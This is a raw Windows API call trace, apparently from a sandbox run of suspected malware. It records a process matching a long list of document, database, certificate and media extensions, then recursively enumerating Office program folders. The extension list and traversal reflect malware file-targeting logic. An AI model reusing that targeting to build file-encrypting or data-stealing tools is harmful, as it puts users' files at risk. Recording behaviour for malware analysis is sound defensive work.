	[0253.973] lstrcmpiW (lpString1=".json", lpString2="N.DLL") returned -1
	[0253.973] lstrlenW (lpString=".jsp") returned 4
	[0253.973] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".kdc") returned 4
	[0253.973] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".kmz") returned 4
	[0253.973] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".kwm") returned 4
	[0253.973] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".lasso") returned 6
	[0253.973] lstrcmpiW (lpString1=".lasso", lpString2="WN.DLL") returned -1
	[0253.973] lstrlenW (lpString=".lbi") returned 4
	[0253.973] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".lgf") returned 4
	[0253.973] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".lgp") returned 4
	[0253.973] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".log") returned 4
	[0253.973] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".m1v") returned 4
	[0253.974] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".m4a") returned 4
	[0253.974] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".m4v") returned 4
	[0253.974] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".max") returned 4
	[0253.974] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".md") returned 3
	[0253.974] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1
	[0253.974] lstrlenW (lpString=".mda") returned 4
	[0253.974] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mdb") returned 4
	[0253.974] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mde") returned 4
	[0253.974] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mdf") returned 4
	[0253.974] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mdw") returned 4
	[0253.974] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mef") returned 4
	[0253.974] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mft") returned 4
	[0253.974] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mfw") returned 4
	[0253.974] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mht") returned 4
	[0253.974] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1
	[0253.974] lstrlenW (lpString=".mhtml") returned 6
	[0253.975] lstrcmpiW (lpString1=".mhtml", lpString2="WN.DLL") returned -1
	[0253.975] lstrlenW (lpString=".mka") returned 4
	[0253.975] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mkidx") returned 6
	[0253.975] lstrcmpiW (lpString1=".mkidx", lpString2="WN.DLL") returned -1
	[0253.975] lstrlenW (lpString=".mkv") returned 4
	[0253.975] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mos") returned 4
	[0253.975] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mov") returned 4
	[0253.975] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mp3") returned 4
	[0253.975] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mp4") returned 4
	[0253.975] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mpeg") returned 5
	[0253.975] lstrcmpiW (lpString1=".mpeg", lpString2="N.DLL") returned -1
	[0253.975] lstrlenW (lpString=".mpg") returned 4
	[0253.975] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mpv") returned 4
	[0253.975] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1
	[0253.975] lstrlenW (lpString=".mrw") returned 4
	[0253.976] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".msg") returned 4
	[0253.976] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".mxl") returned 4
	[0253.976] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".myd") returned 4
	[0253.976] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".myi") returned 4
	[0253.976] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".nef") returned 4
	[0253.976] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".nrw") returned 4
	[0253.976] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".obj") returned 4
	[0253.976] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".odb") returned 4
	[0253.976] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".odc") returned 4
	[0253.976] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".odm") returned 4
	[0253.976] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".odp") returned 4
	[0253.976] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".ods") returned 4
	[0253.976] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".oft") returned 4
	[0253.976] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".one") returned 4
	[0253.976] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1
	[0253.976] lstrlenW (lpString=".onepkg") returned 7
	[0253.976] lstrcmpiW (lpString1=".onepkg", lpString2="DWN.DLL") returned -1
	[0253.976] lstrlenW (lpString=".onetoc2") returned 8
	[0253.977] lstrcmpiW (lpString1=".onetoc2", lpString2="LDWN.DLL") returned -1
	[0253.977] lstrlenW (lpString=".opt") returned 4
	[0253.977] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".oqy") returned 4
	[0253.977] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".orf") returned 4
	[0253.977] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".p12") returned 4
	[0253.977] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".p7b") returned 4
	[0253.977] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".p7c") returned 4
	[0253.977] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pam") returned 4
	[0253.977] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pbm") returned 4
	[0253.977] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pct") returned 4
	[0253.977] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pcx") returned 4
	[0253.977] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pdd") returned 4
	[0253.977] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pdf") returned 4
	[0253.977] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pdp") returned 4
	[0253.977] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pef") returned 4
	[0253.977] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pem") returned 4
	[0253.977] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1
	[0253.977] lstrlenW (lpString=".pff") returned 4
	[0253.978] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pfm") returned 4
	[0253.978] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pfx") returned 4
	[0253.978] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pgm") returned 4
	[0253.978] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".php") returned 4
	[0253.978] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".php3") returned 5
	[0253.978] lstrcmpiW (lpString1=".php3", lpString2="N.DLL") returned -1
	[0253.978] lstrlenW (lpString=".php4") returned 5
	[0253.978] lstrcmpiW (lpString1=".php4", lpString2="N.DLL") returned -1
	[0253.978] lstrlenW (lpString=".php5") returned 5
	[0253.978] lstrcmpiW (lpString1=".php5", lpString2="N.DLL") returned -1
	[0253.978] lstrlenW (lpString=".phtml") returned 6
	[0253.978] lstrcmpiW (lpString1=".phtml", lpString2="WN.DLL") returned -1
	[0253.978] lstrlenW (lpString=".pict") returned 5
	[0253.978] lstrcmpiW (lpString1=".pict", lpString2="N.DLL") returned -1
	[0253.978] lstrlenW (lpString=".pl") returned 3
	[0253.978] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1
	[0253.978] lstrlenW (lpString=".pls") returned 4
	[0253.978] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pm") returned 3
	[0253.978] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1
	[0253.978] lstrlenW (lpString=".png") returned 4
	[0253.978] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pnm") returned 4
	[0253.978] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".pot") returned 4
	[0253.978] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1
	[0253.978] lstrlenW (lpString=".potm") returned 5
	[0253.979] lstrcmpiW (lpString1=".potm", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".potx") returned 5
	[0253.979] lstrcmpiW (lpString1=".potx", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".ppa") returned 4
	[0253.979] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".ppam") returned 5
	[0253.979] lstrcmpiW (lpString1=".ppam", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".ppm") returned 4
	[0253.979] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".pps") returned 4
	[0253.979] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".ppsm") returned 5
	[0253.979] lstrcmpiW (lpString1=".ppsm", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".ppt") returned 4
	[0253.979] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".pptm") returned 5
	[0253.979] lstrcmpiW (lpString1=".pptm", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".pptx") returned 5
	[0253.979] lstrcmpiW (lpString1=".pptx", lpString2="N.DLL") returned -1
	[0253.979] lstrlenW (lpString=".prn") returned 4
	[0253.979] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".ps") returned 3
	[0253.979] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1
	[0253.979] lstrlenW (lpString=".psb") returned 4
	[0253.979] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".psd") returned 4
	[0253.979] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".pst") returned 4
	[0253.979] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".ptx") returned 4
	[0253.979] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1
	[0253.979] lstrlenW (lpString=".pub") returned 4
	[0253.980] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".pwm") returned 4
	[0253.980] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".pxr") returned 4
	[0253.980] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".py") returned 3
	[0253.980] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1
	[0253.980] lstrlenW (lpString=".qt") returned 3
	[0253.980] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1
	[0253.980] lstrlenW (lpString=".r3d") returned 4
	[0253.980] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".raf") returned 4
	[0253.980] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".rar") returned 4
	[0253.980] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0253.980] lstrlenW (lpString=".raw") returned 4
	[0253.980] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1
	[0253.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0253.981] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.981] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0253.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0253.982] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.982] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1
	[0253.987] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0253.987] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4299c88 | out: hHeap=0x4a0000) returned 1
	[0253.988] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0253.988] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0253.988] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0253.988] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1
	[0253.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0253.988] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.988] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
	[0253.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0253.988] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.988] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1
	[0253.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2610
	[0253.989] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.989] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0253.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2650
	[0253.989] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.989] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0253.989] FindClose (in: hFindFile=0x41b2650 | out: hFindFile=0x41b2650) returned 1
	[0253.989] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42b9c98 | out: hHeap=0x4a0000) returned 1
	[0253.989] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0253.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2650
